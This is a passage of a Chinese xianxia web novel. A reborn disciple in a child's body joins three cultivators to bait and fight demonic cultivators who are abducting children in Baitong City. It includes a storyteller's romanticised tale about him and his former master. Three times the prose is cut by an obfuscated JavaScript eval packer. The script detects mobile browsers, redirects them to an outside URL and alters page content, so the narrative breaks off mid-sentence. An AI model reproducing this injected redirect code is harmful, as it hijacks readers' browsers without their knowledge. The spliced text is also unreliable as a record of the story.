乍一与云诏接触,韩昇瞳孔微缩,立刻僵了半边的身体,但他勉强迁就着云诏的身高,微微弯了一点腰。 “卫不迟,辟谷初期,澹台诫,金丹大圆满,都是律庭的风云人物,有他们两个做助力,拿下几个魔修,还不是手到擒来,到时候你威名远播,还有谁敢像今天这样欺负你?” 韩昇侧目以对,墨色双瞳之中波澜不惊,惜字如金地道:“那又如何?” 云诏:“……” 韩昇坦然任云诏打量,如山般岿然不动。 云诏又盯着看了韩昇一会,奇道:“有没有人跟你说过你很像一个人?” 韩昇:“像何人?” 云诏笑笑,又往韩昇耳边凑了几分。 “是我冒昧了,既然你一心拯救苍生,不如先听一听我们的计划?” …… 卫不迟和澹台诫两人在不远处关注着那两人。不知道云诏在说什么,但云诏每一句话说完,韩昇都会给他一些回应,或是一个简单的点头,或是一两个简单的字。 卫不迟擅长读唇语,他解读出韩昇说的大多都是“好”“无妨”之类的话。 没过太久,韩昇跟在云诏身后,与他们两个汇合。 云诏朝着他们比了个“搞定”的手势。 卫不迟笑眯眯地:“那我们就趁着太阳落山之前,出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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卫不迟尴尬地朝店家笑笑:“多谢您好心提醒,我们会注意的,家中幼弟调皮,让您见笑了。” 说完,拉着澹台诫,也快步追了上去。 摊贩一脸可惜地摇摇头,喃喃自语:“好言难劝该死的鬼喔。” 韩昇买了一根糖葫芦递给云诏,一大一小,大的长身玉立,小的……糖葫芦啃得不亦说乎,站在街边等着卫不迟和澹台诫跟上来。 澹台诫斜了云诏一眼:“叫你乱跑,跑丢了怎么办?” 云诏:“哪有那么容易丢。” 卫不迟含笑:“我们先找个地方,吃点东西吧。” 四人伪装成了毫无灵力的凡人,做戏自然要做全套,又在街上故意转了一圈吸引足注意力之后,才进了一家酒楼。 只有卫不迟到了辟谷期,因此他已不需进食和睡眠。另外三人,虽需进食,但也是灵食,若是吃了凡间食物,杂质太多,还需将杂质排出体外,反而麻烦。 因此,对着一桌子菜肴,三个半大少年鲜少动筷,只有一个小豆丁吃得痛快。 澹台诫一言难尽地看着云诏握筷子的左手:“你惯用手是左手?” 云诏:“对啊。” 韩昇闻言抬眸,多看了一眼云诏的左手。 澹台诫:“你小的时候父母没给你纠正么?” 云诏吐出一根啃得干净的骨头,托着腮懒散道:“我从小无父无母,孤苦伶仃,哪有人管我用哪只手写字吃饭呀。” 4. 百通城(二) 最近这段时间百通城内人心惶惶,各行各业都不景气,来福客栈许多天都没开过张了,掌柜坐在柜台后面,一下一下打着瞌睡。 忽然只听一道温润的少年嗓音在耳畔响起:“掌柜今日可还有空房?” 掌柜激灵一下,困意顿时消散,他站起身,熟练地露出个笑:“有的有的,最近生意不景气,空房有的是,几位小客官开几间?” 卫不迟微笑着,竖起四根手指:“四间。” 掌柜顿时喜笑颜开:“好说好说,几位小客官,这边请。” - 卫不迟开了四间天字号房,就是为了向外传递他们几个人傻钱多好欺负的讯号,诱魔修上钩。 毕竟,都这么傻了,这种时候来百通城,又无灵力傍身,缺少常识,毫无戒心,非常合理。 云诏艰难地用自己的小胳膊小腿堪堪将房间内收拾好,卫不迟和澹台诫就藏匿着身形,收敛灵气,静悄悄地翻窗来了他房中,韩昇也紧随其后。 卫不迟特意找掌柜要了一间僻静的尾房,安排给云诏,为的就是让他“落单”。 云诏将房间正中央方桌上的物品全都清空,咬破自己指尖,作势就要落笔…… 澹台诫一悚,凑上前来:“你干什么?” 云诏一脸莫名:“画驱魔印啊。” 澹台诫奇了:“你还会画驱魔印?” 驱魔印是个简单符印,一旦落成,只要有魔修靠近,驱魔印就会亮起光芒。 但贺鑫鑫这个传闻中的痴傻弟子竟然会画,属实有些令他意外。 云诏:“怎么,我不能会?” 澹台诫扁嘴:“我们调查过你,你都没有系统性地修习过课业,你行吗?” 云诏抬头,拽过澹台诫的袖子,都不等澹台诫反应,就龙飞凤舞地在上面画下一个血红色的符。 澹台诫吓了一跳:“你这是干什么?” 云诏头也不抬:“美梦静心符——今夜若有佳人入梦,回头记得给我买串糖葫芦。” 澹台诫一哂,嘴唇微动,似乎要反击上几句讥讽话语比如“什么佳人如梦,胡扯”之类的话,忽然被云诏拉住手,激得他起了一身的鸡皮疙瘩,耳朵爆红,险些跳脚,磕磕巴巴拧眉问道:“你又干什么?” 云诏一脸坦然:“劳驾,借点灵力。” 澹台诫认命地传输灵力,两人掌心相接之处,奇异地产生了些温热之感。 澹台诫从小到大,就没有和人这么近距离接触过,偶尔家中有那些关系好的姐妹常常手拉手一起玩耍,他也嗤之以鼻,今日被云诏这么一生拉硬拽,才得知,拉手竟然是这种感觉。 澹台诫忽然想到什么,猛地回头,发现卫不迟正在为四周施加结界,韩昇靠在一旁墙边,闭目养神,一副事不关己的样子,根本没有人注意到这边的情况。 莫名其妙地,他松了一口气。 云诏心无旁骛,对澹台诫那一边的胡思乱想毫无所觉,他左手食指指尖如刃,滴血化灵,每一个起承转合都隐隐有星火闪烁,最后一笔落成,三尺金芒腾然亮起,这驱魔印一气呵成,画得实在漂亮。 云诏正习惯性地想伸舌头舔干净指尖血迹,忽被疾步上前的韩昇按住了手,对方嗓音低沉,眉眼疏淡:“不许舔。” 云诏一怔,没反应过来。 怎么跟赫寒声一样,难道有人天生就喜欢替人操心这些事么? 韩昇垂眸,漆黑的眼珠盯住了云诏还没来得及收回去的粉色小舌尖,漠然掏出一张白色绢帕,递给云诏:“擦干净。” 那澹台诫早不知道趁着什么时候抽出手,心有余悸地跑到一旁的角落去了。 云诏听话地用绢帕擦干净指尖血迹,眼眸一弯,笑着回他:“多谢,改日洗干净还你。” 韩昇没做回答,又回到自己原先靠着的那面墙那里闭目养神去了。 忽地,整面地板亮起眩目金芒,灵流涌动,卫不迟如释重负,呼出一口气。 伏魔阵也已落成,万事俱备,只欠东风。 云诏很感兴趣地凑过去,仔仔细细地把这伏魔阵从头到尾看了一遍。 “咦……这里……”云诏指尖轻点一处,“卫师兄,我见这伏魔阵法这一处还有更好解法,我能否稍作改动?” 不等卫不迟回答,澹台诫反应极大:“你乱改什么?驱魔印这种简单符印你画也就画了,伏魔阵一会要有大用,你改坏了怎么办?还不是要让我师兄重画。” “师弟,你先冷静,”卫不迟蹙眉低训了澹台诫一声,又看向云诏,虚心求教,“符法玄妙精深,我本不擅长,今日露拙,贻笑大方了,云师弟,不知该如何改正呢?” 云诏挑眉:“你看见这一处没,本该凌厉无匹,杀机毕现,虽然这样画也没有问题,毕竟在课堂上,教学练习时不需要多强的威力,现在这伏魔阵就像一把钝刀,虽也为刀,但杀不死人,镇不住魔。” 本来已经冷哼一声转过头去的澹台诫,又悄悄凑了过来。 云诏毫不客气:“你来了正好,再借我点灵力。” 澹台诫被揪住,脸再度爆红。 云诏不管他,在卫不迟鲜少藏有几分对澹台诫的揶揄的目光中,与澹台诫的掌心贴在了一起。 云诏指尖才愈合的伤口又被他咬开,血珠滴落,抹去了几道笔画。 人人都道符法玄妙精深,法修更是少之又少,虽各种类型的符、阵、印都有固定画法,但在这基础的固定画法之上,又能根据法修本人的实力或心境或不同理解从而衍生出千变万化。 同为伏魔阵,卫不迟画的,像是面捏的老虎。 而经由云诏改过的这一个—— 伏魔阵落成的那一刻,在场所有人都从心间涌现寒意。 钝刀剥去黯淡外壳,锋芒逼人。 卫不迟看懂了云诏的落笔与走势,赞道:“竟还可以如此,我受益匪浅。” 澹台诫别别扭扭地问他:“都说玄天宗的外门弟子贺鑫鑫是个痴傻,原来你是装的?” 云诏面无表情:“不,我天资愚钝,刚才纯属瞎猫碰上死耗子。” 澹台诫一脸“谁信啊”的表情:“玄天宗作为璇玑大陆第一大宗门,惜才得很,你这么天资卓越,还能让你痴傻之名远播?你要是忌惮着什么,还不如来律庭……” 韩昇忽地睁开双眼。 不等澹台诫将话音落下,韩昇侧目望去,声音仿佛淬着寒冰:“来了。” 乍然,驱魔印迸发出浓稠的金红色光芒! 云诏突觉眼前一花,呼吸随即变得困难,这小胳膊小腿的实在不方便,难有自保之力,他只能勉力挪向驱魔印处,企图让那金红色光芒驱散眼前恼人黑雾。 短短几个呼吸之间,整个房间之内已经魔气弥漫,这魔修功夫了得,身形隐匿得毫无破绽,在卫不迟和澹台诫两人的围攻之下,如闲庭信步,修为至少已有辟谷。 但魔修眼前被卫不迟和澹台诫两人拖住了脚步,可他的目标只是掳走云诏而已,实在没有必要非要与这二人争个高下。 半空之中忽然响起魔修阴恻恻的笑声:“原来如此,你们是在这里等我愿者上钩。” 澹台诫冷然回道:“既然你已知晓,还不快束手就擒,为你犯下的罪孽赎罪!” 魔修仿佛听到了什么天大的笑话一般,仰天长笑。 汹涌压抑的魔息遽然席卷而来,这魔修竟已是元婴初期! 澹台诫提刀抵挡魔息威压,金丹大圆满的修为在元婴魔修的面前属实有些不太够看,魔修仅抬手轻挥,澹台诫瞬间被掀飞了出去,整个人撞塌了一堵墙,躺在废墟之中,呕出一口血。 幸好他们提前商量过,只要魔修一进来,就由卫不迟布置好隔绝结界,到时候这个房间内发生的一切,都不会被外界所知,所造成的一切破坏,在结界撤去后,也都会恢复成原始的模样。 卫不迟拧眉,温润灵力注入长剑,高境界的修者对低境界修者的压制是极为明显的。 即使是金丹大圆满与辟谷初期,辟谷期的修者实力、识海内灵力纯度,金丹期都无法与之相提并论。 这也就是修者越级挑战,往往都会惨败的原因。 卫不迟挥出了石破天惊的一剑,剑刃轻薄如水,清澈透亮,涤荡开满室墨色污浊,令那魔修眼中闪过一抹疯狂的惊艳。 但很快,他便感到了厌倦。 今日他本想随便掳个稚子复命。榨出他心里的恐惧、哀怨、痛苦…… 万物皆有“气”,趁着稚子一息尚存,将浸满了负面情绪的“气”收集起来,由魔修吸食转化为自身魔气,长此以往,修为必定突飞猛进。 可那些凡间稚子寡淡如水,令他心生厌烦。 但今日却大有不同。 他闻到了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595847|205566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一种浓郁如陈年烈酒的醇香诱人气息,丝丝缕缕环绕在每一个角落。 源头在哪? 那极致纯粹,极致强大的灵魂,在哪里? 帝尊,献给帝尊,献给帝尊!!! 魔修狞笑着受下卫不迟一击,他再无耐心与卫不迟缠斗,单手成爪,狠狠掐住云诏的脖子,将幼小身躯狠狠掼入墙壁! “找、到、了。” 巨大的冲击力令云诏几乎昏厥,这具身体实在脆弱,胸腔中的空气即将消耗殆尽,云诏艰难掀开眼皮,唇边挂上一道讥讽的笑意:“元婴初期,你就这点本事,看来你们魔修的修为,普遍都是假账啊。” 魔修从没听过这种说法,困惑、怒意、狂躁种种复杂情绪萦绕在他心间,就连由他控制的滔天魔气都短暂停顿了一瞬。 要的就是这一瞬间! 墨发白衣人仿佛身披灵光,发丝如瀑,衣袍翻飞,韩昇手持冷银长剑,恍若天神一般,从天而降。 地板碎裂,碎木乱飞,乱七八糟杂物之间,只有韩昇那一张莹白如玉,冷酷无情的脸。 魔修在须臾之间仿佛感受到了一股杀意,这杀意像在雪河里沉了千年的铁,无孔不入地包裹他的身躯,冻水一般压入他的肺腑,叫他从心底生一股极致纯粹的惶悚不安。 这来人,绝非表面上这么简单。 精纯魔气自他掌中运出,化为凝实厚盾,一刹那,只来得及护住命脉,魔修险险躲过那夺命的一剑,韩昇冷目而对,一柄普通长剑任他用得出神入化,魔修知自己使命,即使在那屡屡威胁到他性命的剑招之下,也都不忘调整个姿势,改为将云诏夹在自己腋下。 知道韩昇不是个善茬,魔修无意恋战,重重浓雾一裹云诏,正欲跳窗而出—— 整个昏黑房间内忽然爆发出粘稠的红光,地板上蛰伏许久的伏魔阵暗纹骤然受到刺激,伴随涌动的灵流,华光四溢,疯狂旋转起来,无形威慑升起一堵巨墙,严严实实地拦住了魔修的去路。 魔修狼狈不堪,后知后觉地明白过来,冷笑:“伏魔阵?你们倒真是有备而来。” 他已入阵中,自然知晓这伏魔阵威力绝非普通伏魔阵那么简单,这是被改造过,处处杀机的杀阵,被称为诛魔阵也不为过,真是没想到这几个乳臭未干的小子,还有这样大的本事。 魔修已下定决心,神情一冷,猛地朝云诏抛出一道森森魔气。 韩昇长剑一挥,登时将那魔气打散。 仅是呼吸之间,魔雾凝结,伴随血光四溅。 “小心,他要自爆!”卫不迟的嗓音被更大的爆鸣声盖住,他极力保持镇定,同时动作不停地召出娥皇钟,堪堪将他们四人牢牢护住。 血芒漫天,威力无匹,元婴期魔修自爆魔躯的威力非同小可,满室摆设皆被湮灭,若是没有娥皇钟的保护,他们四人早已被炸成了齑粉。 可魔躯被毁,魔修的神魂却得以脱离,澹台诫率先发现不对,提一口气,带上双刀,追着那一缕黑色雾气翻窗而出。 卫不迟神色一凝,也紧随其后。 云诏忍着剧痛的心肺,下意识也想追出去,但迈开步子才发现自己腿短手短,随即就放弃了追击的念头,但毕竟腿短,左脚绊右脚,眼看着要摔倒。 忽然,身侧出现一个人,伸出一只手扶住他,另一只手,轻轻覆住他满布青紫掐痕的脖颈。 云诏:“?”韩昇竟然还在。 再下一刻,一颗丹药被送入口中。 丹药入口的一瞬,云诏只觉得自己全身上下不管有没有的沉疴顽疾顷刻之间被清扫而空,细碎伤口早已愈合,满身疼痛无影无踪,现在的他,浑身是劲,真想横冲直撞一场。 云诏仰头:“你怎么不去追那个魔修?” 韩昇语气平静,仍是那副事不关己的样子:“魔修如何,百通城如何,我并不关心。” 没想到韩昇是这个回答,云诏一时没反应过来:“啊? “那你关心什么?你不是说你有非进百通城不可的理由吗?” 没等到韩昇的回答,云诏这才意识到自己在城外的时候完全理解错了。 “那你来百通城,不是来拯救苍生,是干嘛来了?” 韩昇似乎并不想回答这个问题,他给云诏抛过来一个精致的白色小瓷瓶,云诏抬手准确接住。 “一日两次涂抹,活血化瘀,别忘了。” 5. 百通城(三) 星月疏淡,天垂如墨,越是安宁平静的夜晚,每一丝异常响动,都让此时的黑暗显得更加深不可测。 云诏强撑着精神,睁着通红的双眼,守着驱魔印。 直到这时,他才体会到了肉体凡胎的不方便之处。 “你尚未辟谷,此时距离天明尚久,你去休息吧,我在这里等他们两个回来,”韩昇抱剑守在窗边,冷月黯淡的光将他的脸笼罩在朦胧黑暗里,削弱几分他白日里的冷漠,平添几分柔和,“去睡吧,如果有异常,我叫醒你。” 韩昇一说话,云诏困意散掉大半,他懒散打了个哈欠:“不睡了,一个晚上不睡又死不了人,大不了我去找那只小喷火龙要粒辟谷丹。” 韩昇嘴角那一抹若有若无的笑意转瞬即逝:“为何只管他要?” “难道你有?”云诏像个小土匪,远远朝韩昇伸出手,掌心向上,“那快给我一粒,困死了真的是……” 韩昇:“我没有辟谷丹。” 云诏:“……韩昇,有没有人跟你说过,你除了很像一个人之外,还很欠揍。” 韩昇的双眸在粘稠黑暗里落进了点点细碎星光:“现在有人说过了。” 云诏扁嘴,选择停止和韩昇斗嘴的这种幼稚行为。 他转头看向窗外,心中隐有几分不安。若不是有伏魔阵令那魔修束手束脚,只能舍弃魔躯,以神魂状态逃出,只是,元婴期魔修神魂的实力,更是不容小觑,不知道追击过去卫不迟和澹台诫两人,怎么样了。 斗转参横,东方将白。 澹台诫和卫不迟两人,带着满身的露水潮气归来。 卫不迟也很是担心云诏这边,甫一进门,待安置好重伤的澹台诫,迎上云诏的目光便问:“可还有魔修来过?” 云诏摇头:“没有,驱魔印一直没再亮过。” 云诏的回答并没让那两人神色放松,他登时便反应过来:“整个百通城除了我们这边,还出事了?” “寅时三刻,百通城城东一家农户发现家里小女儿失踪,不到一炷香的时间,护城河里就打捞出了一具尸骨,”卫不迟的吐字极为艰难,“浑身血肉剥落殆尽,仅留一层干皮包裹其上,根据身上衣物饰品……” 卫不迟不忍再说,澹台诫倒是铁石心肠,他靠坐在椅背上,面色苍白,神情里有几分“早已有所预料”的模样,接了话:“就是那家农户的小女儿。” 云诏:“也就是说,我们与魔修缠斗时,有另一伙魔修掳走了农户家的小女儿?在百通城里为非作歹的,不止一个魔修。” 卫不迟轻轻摇头:“还有一种可能,不管百通城里有多少魔修潜伏,他们的目的都是统一的。” 吸食更多的血肉,制造更大的恐慌,让百通城彻底沦陷,让这座灵力充裕的凡间之城,变成一方魔气四溢的恶土。 ——来取悦他们背后的那位“大人”。 云诏心底没来由地涌上极度的反感,这种反感并非他临时所想,像是根植在他心底的本能,像是他生来就具备了对造成这一切的罪魁祸首的生理性厌恶。 “只是,我们这么一来,恐怕已打草惊蛇,”卫不迟蹙眉,“那个魔修即使只有一缕残魂,但毕竟已经元婴,我和师弟不是对手,叫他跑了,若是他回去禀报百通城这边发生的事情,他们放弃了百通城的话,怕是还要有一城沦陷。” 云诏摆手:“不不不,你不够了解魔修这个邪恶物种。” 澹台诫伤得太重,即使上等的疗伤丹药喂下去,虽然身体上的伤口已经愈合,但识海内灵力的消耗,与精神紧绷太久而造成的疲惫,令这小喷火龙听到云诏这句能让他找到一百种反驳方式的话,都没什么力气和他闹,只无力地轻嗤一声,一脸不屑。 云诏挑眉:“怎么了,让你这么一脸反驳欲,是卫师兄足够了解魔修还是魔修不够邪恶?” 澹台诫朝他翻了一个真情实感的白眼。 卫不迟凝重的神色终于有几分松动,他极力忍笑:“还请赐教。” “这群魔修,他们最擅长做的事就是不达目的誓不罢休,”云诏瞥一眼闭目养神不为所动的韩昇,继续说,“那缕残魂拼死回去就是为了禀报百通城这边发生的事,然后,只会有更多实力强大的魔修来到百通城。” 卫不迟仍是有些疑惑。 云诏:“卫师兄,你应该高兴才对,你放下的饵已经散发诱人香气了,肯定会有大鱼咬钩的。” 卫不迟瞬间明白了云诏的意思,脸上有几分歉意:“那可能要辛苦你,最近这几天,都得先以这种面目示人了。” - 这两天,集市上的小贩多了起来,说来也是奇怪,自从那几个外乡人在城内住下之后,就没再发生过稚童失踪的事件了。 三个半大少年领着一个玉雪可爱的小娃娃,实在太引人注目。 小娃娃啃着一根糖葫芦,笑得见牙不见眼:“多谢澹台师兄啦!” 澹台诫红着耳尖,装作没听到。 那天晚上做的梦,实在让他没法再多正眼看云诏一眼。 谁知道,梦里的佳人为什么会顶着这个小傻子的脸啊? 澹台诫看着集市四周热闹的场景,有些不解:“百通城内算不上安全,这些人倒也心大,还敢出来做生意。” 卫不迟摇头:“并非他们胆大,夹缝求生而已。不管闹成什么样,活着的人,总该继续活着才对。” 澹台诫若有所思,没再说话了。 他们两个和谐,身后那一大一小也十分和谐。 云诏重回人间,这一百四十年的变化着实令他感到新奇。 光是百通城这一处,集市上就冒出了许多他从没见过的小玩意。 不需灵力,拧上发条就能自己跳走的小□□、内部漫天飞舞漂亮雪景的清澈琉璃球、没有符印驱使,就会自动随音律起舞的小人…… 云诏看得眼花缭乱,这也想要,那也想要,他在前面摸摸这个,看看那个,韩昇在后面,默不作声地付灵石。 身后云诏时不时传出明快的笑声,澹台诫转头,一眼看到云诏手中那个小□□,小□□被拧上发条,一蹦一蹦地跳了起来,澹台诫看到后扁嘴:“聒噪。” 卫不迟侧目看他:“那个小□□实在可爱,你想要吗,我给你买一个。” 澹台诫“哼”一声偏过头去:“我才不要,幼稚。” 忽然,前方人群爆发出欢呼与喝彩声,“啪”地一声,醒木一响,人群霎时噤声,澹台诫立刻就被吸引了注意力,着迷似地赶了过去。 说书人在集市上说起了书,本意是为宣传自己新刊印出的话本,话本卖出去不少,围观的人越来越多,说书人愈发起劲,呷了一口茶,笑看众人: “列位看官,刚才讲了侠骨仙踪,讲了璇玑兴废,想必各位也都听腻了,现在,只说那一桩仙门奇谭。 “话说一百四十年前,玄天宗有位绝世无双的探微剑尊,以剑入道,端的是一颗霜冷剑心,座下却收了个灵慧绝伦的小徒弟。那小徒弟名唤云诏,晨起为师尊簪玉冠,夜半替师尊守剑庐,每每师尊指点小徒道法心经,两人衣袂交叠处惊落山间细雪时,剑尊袖中掌心掐得泛白,面上却仍是万载寒冰。” 跟在卫不迟与澹台诫身后赶来凑热闹的云诏恰巧听见,当场石化。 什么玩意儿? 云诏尴尬得又从人群里钻出来,生怕再听见第二句,拽住了韩昇的衣角:“走,我们再去那边转转……” 哪知韩昇的双脚像是连根扎在了地上,云诏这么一拽,竟没拽动。 “……孰料仙魔之争起,那云诏露出真实面目,他竟是魔界帝尊座下首席护法!那日明镜台上罡风猎猎,剑尊手中神剑‘千念’鸣如泣血,小徒弟魔气缠身犹在大笑,‘师尊,是你教弟子的,是你教的,除魔卫道!你怎么不敢下手了呢’,话音未落,剑锋穿心而过,好巧不巧,正穿破当年师徒共炼的那枚护心镜!” 云诏:“……”实在听不下去,他左看右看,发现澹台诫专心致志挑拣着话本,卫不迟听得津津有味,韩昇不知想到了什么,脸色奇差,目光冷得如冰,他们都有自己的事情,只有自己这个当事人,头皮尬得发麻。 “但见那云诏胆大包天,临死之前投怀送抱,竟是要将百年修为从唇齿之间反哺回剑尊!千念透心,修为皆散,这云诏小徒,魂早已归天地间了去。自此剑尊眼底便冻住了三尺寒潭,那之后仙魔战役时他白衣浴血,剑招狠厉,生生将魔修大军击退于阴照岭之外,魔界落败那夜,他抱着个玄冰玉匣回了寒英峰,禁制一落,便是整整百年。” 云诏面无表情,心中不祥的预感越来越重。难道他身死之后,赫寒声还闭关了百年? “奇就奇在百年后的新弟子入门,有个胆大包天的娃儿,竟从一线天上的虹桥进了禁地。但见大殿内千盏鲛灯长明,玄冰玉榻上铺着九重云霞褥——您道榻上躺着何人?那云诏小徒青丝如瀑面色红润,领口露出的一截红绳,分明系着剑尊的那块玉令!” “更骇人的是,案上摆着两只白玉杯,银壶里琼浆尚温。屏风后转出个人来,黑发逶地,眸中星河俱碎,小心环住冰雕一般的尸身,将唇贴在尸身耳畔呢喃:‘今日雪大,师尊为你温了酒……’,原来这百年间,剑尊竟耗尽半生修为,苦苦维持着那北海玄冰,夜夜为尸身疏通经脉,可到底死者为大,这剑尊竟不叫他入土为安!” 云诏豁然跳起来,疯狂伸出两根肉呼呼的小手指,就近堵住韩昇的耳朵:“不听不听,太离谱了,探微剑尊怎么可能做这种事!” 韩昇拨开云诏作乱的手指,虚虚握住,声音轻飘飘的,似是从云端飞来:“似真似假,若是全无端倪,怎会有这种编排。” 韩昇你怎么回事! 云诏再也听不下去,自己这小身体又没法独自走开,只好又在人群之间穿梭,挤到澹台诫那边去了。 澹台诫喜出望外,大有收获,抱了满怀的话本,看见云诏过来,兴冲冲地分享:“极品啊,真是没想到百通城竟还有这种极品……” 云诏看着澹台诫手中精心淘来的那一大摞《与师尊不得不说的二三事》《霸道魔尊轻点爱》《玄天宗团宠记事簿》《纯情小剑仙》等等之类的话本,一个字也说不出来。 邪门了,真是邪门了,这一百四十年里到底发生了什么? 澹台诫满足地将搜集到的话本塞进储物戒,云诏一言难尽:“你还有这种爱好?” 澹台诫不置可否:“不,这不是爱好。 “是信仰!” 云诏麻木看他:“什么信仰让你成天搜集这种话本?” 卫不迟从旁边走来,一见便知是自家师弟又在那胡言乱语,含笑替澹台诫挽尊:“让你见笑了,他从小就被灵机君才华折服,这么多年来,一直在搜集与灵机君有关的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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良久,韩昇幽幽冒出一句:“其师赫寒声,才是罪大恶极之人,在没有弄清真相之前,就被众生裹挟,痛下杀手,看似透彻明醒,实则无能至极。” 澹台诫瞬间抬头,一双眼里,目光灼灼,看向韩昇的眼神,顿时现出几分知音难觅的欣喜。 卫不迟瞪大双眼,连忙赶去捂韩昇的嘴:“这位道友,你不要命啦,探微剑尊怎能被这般编排?那时真相还没有大白于天下,剑尊更是已拯救苍生为己任,手刃灵机君时,剑尊定也悲痛难捱,莫要这么说,让剑尊听到寒了心。” 韩昇面上表情淡漠至极:“拯救苍生?那真是个笑话。” - 垂云漫卷,落日熔金,流紫云霞铺天如盖,静静笼罩着一方小城。 三个半大少年带着一个年幼小儿,满载而归,进了他们落脚的那家客栈。 这一连几日,魔修都没再出现过,但他们也不敢完全放下戒心,两两轮值,今日前半夜,正好轮到澹台诫和卫不迟值守。 澹台诫出神地看着桌面上的驱魔印,良久,老成地叹了一口气:“订了四间天字号房,一天一天地却挤在一间里,真是浪费。” 卫不迟笑出声:“心疼了?” 澹台诫对上卫不迟永远都没有脾气,他有点幽怨:“有什么可心疼的,要是能把百通城这边的乱象解决掉,多花多少灵石我也没有异议。” 卫不迟忽然不知从哪里掏出来一个小玩意,递到澹台诫面前:“长夜无聊,送你个小东西玩,打发打发时间。” 澹台诫看到桌上这个憨态可掬的小□□,耳朵红了:“师兄,你买它干什么,我又不喜欢这种。” 卫不迟笑而不语,转身坐到窗边,借着月光翻看玉简去了。 澹台诫:“……” 澹台诫悄悄伸手,“咔哒咔哒”地给小□□拧上了发条…… 外间两人值夜,内间两人也无心休息。 韩昇已入辟谷,安静地在一旁调息入定。 云诏思绪混乱得很,白日里那说书先生讲的东西在他脑子里面留下了浓墨重彩的一笔。 他自是知晓自己当年犯下了多么不可饶恕的错误,赫寒声亲手杀他,自然也是要给天下众生一个交代。 魔修功法就是要靠吞噬他人血肉,吸食他人内心的忧伤、恐惧、怀疑、憎恨、痛苦、贪婪等等负面情绪从而转化为魔气而成,使自己修为大增。 魔修,哪个不是疯疯癫癫,罪名加身的。 上一世,他吸食的那些负面情绪萦绕在他心间,自然性情大变,他清醒的时间很少,到后期,他都不知道自己变成了个什么东西,赫寒声亲手了结他,也算是让他解脱了。 赫寒声的本命剑,是璇玑大陆唯三的天生神剑之一,神剑千念,这把剑的威力十分恐怖,会随赫寒声的意愿而改变形态,明镜之战的那天,或许别人不知道,但他很清楚。 赫寒声开启了神念的状态。 ——神念,主因果与律法,神念之下,是绝对的公平。 换句话说,神念必定命中,若是一击不中,他就会被拉入时空裂缝,直到命中为止。 不过很可惜,他一心求死,无心反抗,神念根本没派上用场。 倒是让赫寒声牛刀小试了。 想到这,云诏扯了扯嘴角,那时候的赫寒声,心系天下,只有苍生,才配入他眼,动他心。 一个从小养大的徒弟而已,还堕了魔,解决掉他,换来整个璇玑大陆的和平与安宁,很划算。 6. 百通城(四) 在这万籁阒寂的浓黑夜晚之下,时间的流动仿佛变得粘稠和迟缓,四周的风声不对,不似平常的晚风穿过林间枝叶的沙沙声,倒似是有什么轻巧灵敏的东西,在屋舍之间,林叶之间,极速穿梭的声音。 韩昇本正在打坐入定,他感知灵敏,倏然睁开双眼,嗓音被逼出几分遥遥冷意:“他们来了。” 云诏的困意顿时消散个干净,连忙冲到外间,示警道:“魔修来了!” 澹台诫和卫不迟齐齐一惊,二话不说将身体迅速调整到了迎战状态—— 云诏话音刚落下没多久,驱魔印顿时迸发出浓稠的血红色光芒,这光芒明亮程度,远不是上一次可比,这足以证明,这次来的魔修,非同小可。 内间已经传来刀剑相接的令人牙酸的声音,韩昇显然已经迎敌,这边情况也不乐观,云诏后颈汗毛乍然立起,一股冰冷的颤栗顺着脊椎缓缓爬下,他反应极快,顺手拔了澹台诫后背的窄背长刀,以不符合他外表年纪该有的刁钻角度,铿然迎上了一道自黑暗中探出的森冷铁钩。 澹台诫由衷地赞叹一声:“漂亮!” 偷袭不成的魔修自黑暗中走出,笑容邪气:“小小年纪竟然有此种反应,看来我们果然上了你们的当。 “不过,你这样的神魂,一定很美味。” 齐刷刷地,屋内落下六道黑影,魔气冲天,再连上内间里面的,十个魔修,每一个,他们都探不出修为,仅从释放出来的威压判断,至少辟谷初期。 “初次见面,你们好,”为首之人笑容满面,“我叫燎凤,此行前来,是为活捉你们的。” 燎凤自报家门,但他们三人皆是动弹不得,燎凤身周萦绕的威压十分恐怖,恐怕,已至元婴后期。 这怎么打? 澹台诫最不服输,他顶着足有千钧重的威压,低吼着起身,提刀便冲向燎凤:“活捉我们,做梦。” 燎凤连半分眼神都没有分给他,轻轻一扫,浓郁魔气直接将澹台诫轰开,澹台诫毫无反抗之力,身体在地上连连滚了数圈之后重重砸在了墙壁上。 燎凤笑道:“看来,做梦的不是我呢。” 乍然,一道雪亮刀刃悄无声息地挥至他后颈三寸之处,燎凤顿时变了脸色,一道凝实的魔气打出去,却根本没有击中目标,一击落空,燎凤笑开:“炼气初期?” 卫不迟已暗中解开云诏的伪装,云诏终于不再束手束脚,长刀仿佛在他手中有了生命,一招一式都极为简朴却暗含真义,只可惜,长刀上根本无法附着灵力,不然,发挥出的威力绝不可能仅是如此。 但这般威力也绝不容小觑,卫不迟与他并肩作战,两人配合得极为默契,在伏魔印的辅助之下,那几个魔修竟真的没讨到几分好处。 澹台诫呕出一口血来,撑刀起身,远远地调侃道:“贺鑫鑫,你怎么用右手握的刀?” 云诏百忙之中分心回口:“要你管啊,还活着没,活着就过来帮忙。” 三人合力,算上燎凤,一共七个魔修,他们三个竭力解决掉了四个。 